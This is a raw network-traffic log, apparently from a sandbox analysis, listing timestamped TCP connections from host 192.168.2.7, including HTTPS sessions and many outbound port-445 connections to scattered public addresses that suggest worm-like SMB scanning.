Jul 20, 2022 15:43:25.422074080 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422115088 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422168970 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.422187090 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.460215092 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:43:25.460464954 CEST	49718	443	192.168.2.7	204.79.197.200
Jul 20, 2022 15:43:25.503833055 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:25.503890038 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:25.504071951 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:25.512748957 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:25.512770891 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:25.612236977 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:25.612420082 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.359093904 CEST	49856	445	192.168.2.7	29.174.154.86
Jul 20, 2022 15:43:26.362581968 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.362624884 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:26.362801075 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.362817049 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:26.363012075 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:26.363115072 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.390938044 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:26.391119957 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:26.391275883 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.391310930 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:26.550584078 CEST	49858	445	192.168.2.7	57.82.246.206
Jul 20, 2022 15:43:27.831168890 CEST	49859	445	192.168.2.7	173.252.196.78
Jul 20, 2022 15:43:27.831669092 CEST	49860	445	192.168.2.7	8.131.225.193
Jul 20, 2022 15:43:27.831764936 CEST	49861	445	192.168.2.7	185.16.188.252
Jul 20, 2022 15:43:27.840406895 CEST	49853	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:27.840442896 CEST	443	49853	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:27.940124989 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:27.940171003 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:27.940265894 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:27.946019888 CEST	49866	445	192.168.2.7	12.126.55.106
Jul 20, 2022 15:43:27.946835995 CEST	49867	445	192.168.2.7	123.7.113.30
Jul 20, 2022 15:43:27.950984955 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:27.951014042 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.041045904 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.041176081 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.251715899 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.251744986 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.253048897 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.253067017 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.283035994 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.283124924 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.283128977 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.283179998 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.358933926 CEST	49864	443	192.168.2.7	13.107.6.254
Jul 20, 2022 15:43:28.358964920 CEST	443	49864	13.107.6.254	192.168.2.7
Jul 20, 2022 15:43:28.374955893 CEST	49869	445	192.168.2.7	186.171.11.9
Jul 20, 2022 15:43:28.420250893 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.420289040 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.420420885 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.426817894 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.426841974 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.492446899 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.492546082 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.496663094 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.496684074 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.496932983 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.496954918 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.497006893 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.516088009 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.516172886 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.516274929 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.517395020 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.517430067 CEST	49871	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.517460108 CEST	443	49871	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.522847891 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.522913933 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.523066998 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.523319006 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.523340940 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.581468105 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.581598043 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.582668066 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.582690954 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.584836006 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.584857941 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.615237951 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.615329027 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.615350962 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.615381002 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.624504089 CEST	49873	443	192.168.2.7	173.222.108.192
Jul 20, 2022 15:43:28.624553919 CEST	443	49873	173.222.108.192	192.168.2.7
Jul 20, 2022 15:43:28.635572910 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.651932955 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.653249979 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.653830051 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.657493114 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.673942089 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.675312042 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.675409079 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.684439898 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.700745106 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.702089071 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.702110052 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:43:28.702174902 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.702205896 CEST	49717	443	192.168.2.7	204.79.197.222
Jul 20, 2022 15:43:28.942967892 CEST	49879	445	192.168.2.7	202.144.41.229
Jul 20, 2022 15:43:28.943464041 CEST	49880	445	192.168.2.7	203.62.237.249
Jul 20, 2022 15:43:28.944010973 CEST	49881	445	192.168.2.7	49.197.211.213
Jul 20, 2022 15:43:29.068355083 CEST	49884	445	192.168.2.7	112.113.247.93
Jul 20, 2022 15:43:29.068878889 CEST	49885	445	192.168.2.7	95.106.249.152
Jul 20, 2022 15:43:29.490114927 CEST	49889	445	192.168.2.7	81.129.231.68
Jul 20, 2022 15:43:30.072737932 CEST	49896	445	192.168.2.7	138.18.8.73
Jul 20, 2022 15:43:30.073383093 CEST	49897	445	192.168.2.7	166.26.183.102
Jul 20, 2022 15:43:30.073919058 CEST	49898	445	192.168.2.7	50.157.132.124
Jul 20, 2022 15:43:30.193264961 CEST	49902	445	192.168.2.7	145.229.42.32
Jul 20, 2022 15:43:30.193557024 CEST	49901	445	192.168.2.7	159.112.50.1
Jul 20, 2022 15:43:30.320008039 CEST	49904	445	192.168.2.7	107.200.75.122
Jul 20, 2022 15:43:30.672194004 CEST	49907	445	192.168.2.7	208.236.56.64
Jul 20, 2022 15:43:31.203547955 CEST	49915	445	192.168.2.7	176.72.52.20
Jul 20, 2022 15:43:31.207545996 CEST	49916	445	192.168.2.7	16.104.141.246
Jul 20, 2022 15:43:31.208379984 CEST	49917	445	192.168.2.7	180.130.160.17
Jul 20, 2022 15:43:31.319179058 CEST	49920	445	192.168.2.7	87.46.194.18
Jul 20, 2022 15:43:31.319729090 CEST	49921	445	192.168.2.7	176.110.235.71
Jul 20, 2022 15:43:31.444418907 CEST	49922	445	192.168.2.7	223.234.40.182
Jul 20, 2022 15:43:31.788198948 CEST	49925	445	192.168.2.7	5.121.146.181
Jul 20, 2022 15:43:32.318273067 CEST	49935	445	192.168.2.7	118.209.36.90
Jul 20, 2022 15:43:32.318361998 CEST	49936	445	192.168.2.7	70.42.200.157
Jul 20, 2022 15:43:32.334228039 CEST	49937	445	192.168.2.7	201.198.186.149
Jul 20, 2022 15:43:32.336644888 CEST	49938	445	192.168.2.7	140.53.49.196
Jul 20, 2022 15:43:32.444037914 CEST	49939	445	192.168.2.7	153.46.202.202
Jul 20, 2022 15:43:32.444412947 CEST	49940	445	192.168.2.7	90.52.81.186
Jul 20, 2022 15:43:32.568193913 CEST	49943	445	192.168.2.7	161.174.15.88
Jul 20, 2022 15:43:32.927731991 CEST	49945	445	192.168.2.7	113.175.174.110
Jul 20, 2022 15:43:33.446676016 CEST	49954	445	192.168.2.7	90.110.85.102
Jul 20, 2022 15:43:33.447360039 CEST	49955	445	192.168.2.7	220.24.225.51
Jul 20, 2022 15:43:33.461800098 CEST	49956	445	192.168.2.7	119.198.85.242
Jul 20, 2022 15:43:33.462313890 CEST	49957	445	192.168.2.7	85.146.34.223
Jul 20, 2022 15:43:33.570003033 CEST	49960	445	192.168.2.7	37.174.248.247
Jul 20, 2022 15:43:33.570157051 CEST	49961	445	192.168.2.7	50.111.252.163
Jul 20, 2022 15:43:33.693388939 CEST	49962	445	192.168.2.7	192.125.116.209
Jul 20, 2022 15:43:34.054079056 CEST	49964	445	192.168.2.7	154.248.0.161
Jul 20, 2022 15:43:34.352299929 CEST	49970	445	192.168.2.7	145.54.10.155
Jul 20, 2022 15:43:34.570832968 CEST	49974	445	192.168.2.7	27.154.183.58
Jul 20, 2022 15:43:34.571568012 CEST	49975	445	192.168.2.7	114.137.83.101
Jul 20, 2022 15:43:34.585287094 CEST	49976	445	192.168.2.7	155.12.190.31
Jul 20, 2022 15:43:34.586078882 CEST	49977	445	192.168.2.7	175.65.4.112
Jul 20, 2022 15:43:34.678627014 CEST	49980	445	192.168.2.7	26.154.121.168
Jul 20, 2022 15:43:34.678998947 CEST	49981	445	192.168.2.7	133.83.141.203
Jul 20, 2022 15:43:34.834033966 CEST	49982	445	192.168.2.7	105.201.118.239
Jul 20, 2022 15:43:35.241422892 CEST	49984	445	192.168.2.7	141.24.150.44
Jul 20, 2022 15:43:35.476264954 CEST	49989	445	192.168.2.7	136.31.103.80
Jul 20, 2022 15:43:35.694003105 CEST	49994	445	192.168.2.7	201.74.127.200
Jul 20, 2022 15:43:35.694710016 CEST	49995	445	192.168.2.7	138.157.60.26
Jul 20, 2022 15:43:35.709758997 CEST	49996	445	192.168.2.7	173.172.225.160
Jul 20, 2022 15:43:35.710334063 CEST	49997	445	192.168.2.7	200.95.33.237
Jul 20, 2022 15:43:35.803548098 CEST	49999	445	192.168.2.7	190.218.147.44
Jul 20, 2022 15:43:35.804284096 CEST	50000	445	192.168.2.7	116.85.43.13
Jul 20, 2022 15:43:35.959093094 CEST	50002	445	192.168.2.7	48.9.215.121
Jul 20, 2022 15:43:36.398181915 CEST	50006	445	192.168.2.7	78.57.210.123
Jul 20, 2022 15:43:36.403362036 CEST	50007	445	192.168.2.7	193.241.8.170
Jul 20, 2022 15:43:36.612951994 CEST	50012	445	192.168.2.7	69.251.86.196
Jul 20, 2022 15:43:36.836656094 CEST	50016	445	192.168.2.7	71.153.227.220
Jul 20, 2022 15:43:36.836704016 CEST	50017	445	192.168.2.7	22.220.144.79
Jul 20, 2022 15:43:36.836760998 CEST	50018	445	192.168.2.7	142.215.102.156
Jul 20, 2022 15:43:36.836859941 CEST	50019	445	192.168.2.7	15.101.182.37
Jul 20, 2022 15:43:36.943977118 CEST	50021	445	192.168.2.7	32.62.178.127
Jul 20, 2022 15:43:36.944022894 CEST	50022	445	192.168.2.7	53.191.36.85
Jul 20, 2022 15:43:37.253978014 CEST	50023	445	192.168.2.7	39.196.236.89
Jul 20, 2022 15:43:37.521667004 CEST	50027	445	192.168.2.7	43.244.167.28
Jul 20, 2022 15:43:37.522173882 CEST	50028	445	192.168.2.7	79.69.153.90
Jul 20, 2022 15:43:37.725011110 CEST	50032	445	192.168.2.7	88.148.236.86
Jul 20, 2022 15:43:37.973198891 CEST	50037	445	192.168.2.7	13.94.140.127
Jul 20, 2022 15:43:37.973459005 CEST	50038	445	192.168.2.7	136.76.26.84
Jul 20, 2022 15:43:37.973463058 CEST	50036	445	192.168.2.7	105.95.227.79
Jul 20, 2022 15:43:37.973546028 CEST	50039	445	192.168.2.7	200.123.185.29
Jul 20, 2022 15:43:38.072694063 CEST	50042	445	192.168.2.7	222.178.91.21
Jul 20, 2022 15:43:38.072778940 CEST	50043	445	192.168.2.7	21.93.175.140
Jul 20, 2022 15:43:38.381242037 CEST	50044	445	192.168.2.7	172.15.181.190
Jul 20, 2022 15:43:38.403551102 CEST	50045	445	192.168.2.7	191.222.199.184
Jul 20, 2022 15:43:38.650834084 CEST	50050	445	192.168.2.7	215.127.4.85
Jul 20, 2022 15:43:38.651935101 CEST	50051	445	192.168.2.7	26.233.33.28
Jul 20, 2022 15:43:38.851470947 CEST	50055	445	192.168.2.7	82.52.219.77
Jul 20, 2022 15:43:39.095664024 CEST	50059	445	192.168.2.7	158.2.252.84
Jul 20, 2022 15:43:39.097162962 CEST	50060	445	192.168.2.7	223.158.192.101
Jul 20, 2022 15:43:39.097251892 CEST	50061	445	192.168.2.7	42.174.128.7
Jul 20, 2022 15:43:39.097318888 CEST	50062	445	192.168.2.7	31.105.232.9
Jul 20, 2022 15:43:39.213407993 CEST	50064	445	192.168.2.7	194.126.208.252
Jul 20, 2022 15:43:39.213524103 CEST	50065	445	192.168.2.7	216.237.246.56
Jul 20, 2022 15:43:39.506304979 CEST	50067	445	192.168.2.7	150.182.138.26
Jul 20, 2022 15:43:39.527873993 CEST	50068	445	192.168.2.7	174.62.83.146
Jul 20, 2022 15:43:39.773122072 CEST	50071	445	192.168.2.7	203.67.137.225
Jul 20, 2022 15:43:39.773216009 CEST	50072	445	192.168.2.7	45.90.135.16
Jul 20, 2022 15:43:39.975939035 CEST	50076	445	192.168.2.7	157.86.114.19
Jul 20, 2022 15:43:40.209814072 CEST	50080	445	192.168.2.7	74.122.145.186
Jul 20, 2022 15:43:40.210491896 CEST	50081	445	192.168.2.7	51.224.106.61
Jul 20, 2022 15:43:40.211097956 CEST	50082	445	192.168.2.7	108.20.53.160
Jul 20, 2022 15:43:40.211725950 CEST	50083	445	192.168.2.7	41.67.114.15
Jul 20, 2022 15:43:40.334573030 CEST	50086	445	192.168.2.7	113.100.183.23
Jul 20, 2022 15:43:40.335088015 CEST	50087	445	192.168.2.7	67.136.169.73
Jul 20, 2022 15:43:40.403789997 CEST	50088	445	192.168.2.7	109.32.215.62
Jul 20, 2022 15:43:40.631253958 CEST	50090	445	192.168.2.7	107.180.59.153
Jul 20, 2022 15:43:40.647981882 CEST	50091	445	192.168.2.7	115.42.201.44
Jul 20, 2022 15:43:40.897883892 CEST	50095	445	192.168.2.7	163.42.211.196
Jul 20, 2022 15:43:40.898500919 CEST	50096	445	192.168.2.7	46.11.60.85
Jul 20, 2022 15:43:41.127614021 CEST	50099	445	192.168.2.7	205.146.194.216
Jul 20, 2022 15:43:41.356901884 CEST	50103	445	192.168.2.7	139.37.247.80
Jul 20, 2022 15:43:41.357542992 CEST	50104	445	192.168.2.7	191.118.34.208
Jul 20, 2022 15:43:41.359117985 CEST	50105	445	192.168.2.7	201.176.68.91
Jul 20, 2022 15:43:41.370274067 CEST	50106	445	192.168.2.7	107.150.173.190
Jul 20, 2022 15:43:41.459630013 CEST	50109	445	192.168.2.7	176.152.194.63
Jul 20, 2022 15:43:41.460416079 CEST	50110	445	192.168.2.7	133.58.140.182
Jul 20, 2022 15:43:41.570353031 CEST	50111	445	192.168.2.7	46.193.96.188
Jul 20, 2022 15:43:41.768486023 CEST	50113	445	192.168.2.7	222.225.172.194
Jul 20, 2022 15:43:41.806462049 CEST	50114	445	192.168.2.7	186.41.115.220
Jul 20, 2022 15:43:42.017575979 CEST	50118	445	192.168.2.7	78.182.212.7
Jul 20, 2022 15:43:42.018794060 CEST	50119	445	192.168.2.7	194.160.244.57
Jul 20, 2022 15:43:42.249635935 CEST	50122	445	192.168.2.7	113.134.24.83
Jul 20, 2022 15:43:42.428510904 CEST	50126	445	192.168.2.7	27.188.115.113
Jul 20, 2022 15:43:42.465853930 CEST	50127	445	192.168.2.7	63.253.2.102
Jul 20, 2022 15:43:42.466197968 CEST	50128	445	192.168.2.7	146.180.168.119
Jul 20, 2022 15:43:42.466464043 CEST	50129	445	192.168.2.7	55.224.149.113
Jul 20, 2022 15:43:42.491344929 CEST	50131	445	192.168.2.7	169.227.78.212
Jul 20, 2022 15:43:42.584969044 CEST	50134	445	192.168.2.7	82.139.3.90
Jul 20, 2022 15:43:42.584985971 CEST	50133	445	192.168.2.7	52.41.30.220
Jul 20, 2022 15:43:42.694540024 CEST	50135	445	192.168.2.7	94.64.67.173
Jul 20, 2022 15:43:42.883322001 CEST	50138	445	192.168.2.7	76.87.41.224
Jul 20, 2022 15:43:42.929344893 CEST	50139	445	192.168.2.7	13.114.220.155
Jul 20, 2022 15:43:43.131985903 CEST	50145	445	192.168.2.7	58.172.82.236
Jul 20, 2022 15:43:43.131985903 CEST	50144	445	192.168.2.7	155.47.202.106
Jul 20, 2022 15:43:43.178190947 CEST	49761	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:43.178250074 CEST	49762	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:43.223143101 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.223190069 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.223283052 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.224287033 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.224304914 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.373724937 CEST	50149	445	192.168.2.7	213.206.88.68
Jul 20, 2022 15:43:43.593585968 CEST	50151	445	192.168.2.7	175.85.38.20
Jul 20, 2022 15:43:43.594177008 CEST	50152	445	192.168.2.7	106.213.142.252
Jul 20, 2022 15:43:43.595154047 CEST	50153	445	192.168.2.7	103.202.185.66
Jul 20, 2022 15:43:43.595328093 CEST	50154	445	192.168.2.7	124.239.183.99
Jul 20, 2022 15:43:43.744059086 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.744211912 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.784148932 CEST	50156	445	192.168.2.7	121.88.220.0
Jul 20, 2022 15:43:43.784219980 CEST	50158	445	192.168.2.7	158.128.109.156
Jul 20, 2022 15:43:43.784359932 CEST	50157	445	192.168.2.7	115.10.38.105
Jul 20, 2022 15:43:43.786731958 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.786760092 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.787297010 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.806581974 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.807007074 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.807070017 CEST	443	50146	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:43.807130098 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.807171106 CEST	50146	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:43.903743982 CEST	50160	445	192.168.2.7	33.220.44.175
Jul 20, 2022 15:43:44.122792959 CEST	50161	445	192.168.2.7	26.101.149.9
Jul 20, 2022 15:43:44.123435974 CEST	50162	445	192.168.2.7	147.118.114.148
Jul 20, 2022 15:43:44.310231924 CEST	50166	445	192.168.2.7	218.197.5.178
Jul 20, 2022 15:43:44.310746908 CEST	50167	445	192.168.2.7	12.11.168.169
Jul 20, 2022 15:43:44.466653109 CEST	50170	445	192.168.2.7	152.159.206.22
Jul 20, 2022 15:43:44.526730061 CEST	50172	445	192.168.2.7	78.68.238.239
Jul 20, 2022 15:43:45.167363882 CEST	50175	445	192.168.2.7	121.8.233.179
Jul 20, 2022 15:43:45.167943001 CEST	50176	445	192.168.2.7	46.192.20.238
Jul 20, 2022 15:43:45.168750048 CEST	50177	445	192.168.2.7	17.239.31.60
Jul 20, 2022 15:43:45.169424057 CEST	50178	445	192.168.2.7	38.248.90.168
Jul 20, 2022 15:43:45.170013905 CEST	50179	445	192.168.2.7	135.145.125.247
Jul 20, 2022 15:43:45.170640945 CEST	50180	445	192.168.2.7	98.136.170.83
Jul 20, 2022 15:43:45.235598087 CEST	50181	445	192.168.2.7	53.35.35.214
Jul 20, 2022 15:43:45.236216068 CEST	50182	445	192.168.2.7	41.16.62.38
Jul 20, 2022 15:43:45.242022038 CEST	50183	445	192.168.2.7	122.211.172.153
Jul 20, 2022 15:43:45.444272995 CEST	50187	445	192.168.2.7	202.167.75.13
Jul 20, 2022 15:43:45.444915056 CEST	50188	445	192.168.2.7	216.117.159.81
Jul 20, 2022 15:43:45.816025972 CEST	50190	445	192.168.2.7	104.70.181.97
Jul 20, 2022 15:43:46.047506094 CEST	50192	445	192.168.2.7	9.146.181.218
Jul 20, 2022 15:43:47.411547899 CEST	49763	443	192.168.2.7	20.190.160.132
Jul 20, 2022 15:43:47.411586046 CEST	49766	443	192.168.2.7	20.190.159.134
Jul 20, 2022 15:43:47.483844995 CEST	50194	445	192.168.2.7	57.71.58.78
Jul 20, 2022 15:43:47.507143021 CEST	50196	445	192.168.2.7	202.54.177.76
Jul 20, 2022 15:43:47.507571936 CEST	50197	445	192.168.2.7	162.168.141.15
Jul 20, 2022 15:43:47.508029938 CEST	50198	445	192.168.2.7	73.104.208.89
Jul 20, 2022 15:43:47.539148092 CEST	50199	445	192.168.2.7	160.143.230.177
Jul 20, 2022 15:43:47.539910078 CEST	50200	445	192.168.2.7	114.172.250.98
Jul 20, 2022 15:43:47.540786982 CEST	50201	445	192.168.2.7	135.114.250.101
Jul 20, 2022 15:43:47.541328907 CEST	50202	445	192.168.2.7	222.12.219.210
Jul 20, 2022 15:43:47.541836023 CEST	50203	445	192.168.2.7	148.111.56.41
Jul 20, 2022 15:43:47.542351961 CEST	50204	445	192.168.2.7	2.39.21.83
Jul 20, 2022 15:43:47.542804003 CEST	50205	445	192.168.2.7	40.107.114.152
Jul 20, 2022 15:43:47.543298006 CEST	50206	445	192.168.2.7	66.234.85.46
Jul 20, 2022 15:43:47.543762922 CEST	50207	445	192.168.2.7	155.130.78.211
Jul 20, 2022 15:43:47.544265032 CEST	50208	445	192.168.2.7	45.188.159.43
Jul 20, 2022 15:43:47.544743061 CEST	50209	445	192.168.2.7	177.27.126.89
Jul 20, 2022 15:43:47.551371098 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.551415920 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.551503897 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.551793098 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.551810026 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.713212967 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.713318110 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.714281082 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.714348078 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.746886969 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.746920109 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.747303963 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.748191118 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.748239994 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.748310089 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.851165056 CEST	445	50209	177.27.126.89	192.168.2.7
Jul 20, 2022 15:43:47.931062937 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.931102991 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.931154966 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.931174994 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.931188107 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.931222916 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.931519032 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.931540012 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.931550026 CEST	50210	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.931555986 CEST	443	50210	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.993834019 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.993900061 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.994004011 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.994247913 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:47.994297981 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:47.994373083 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.017529011 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.017565966 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.019395113 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.019448996 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.028510094 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.028553009 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.028664112 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.030021906 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.030046940 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.156435966 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.159672022 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.159703016 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.160671949 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.160689116 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.160727024 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.160739899 CEST	443	50218	20.190.159.72	192.168.2.7
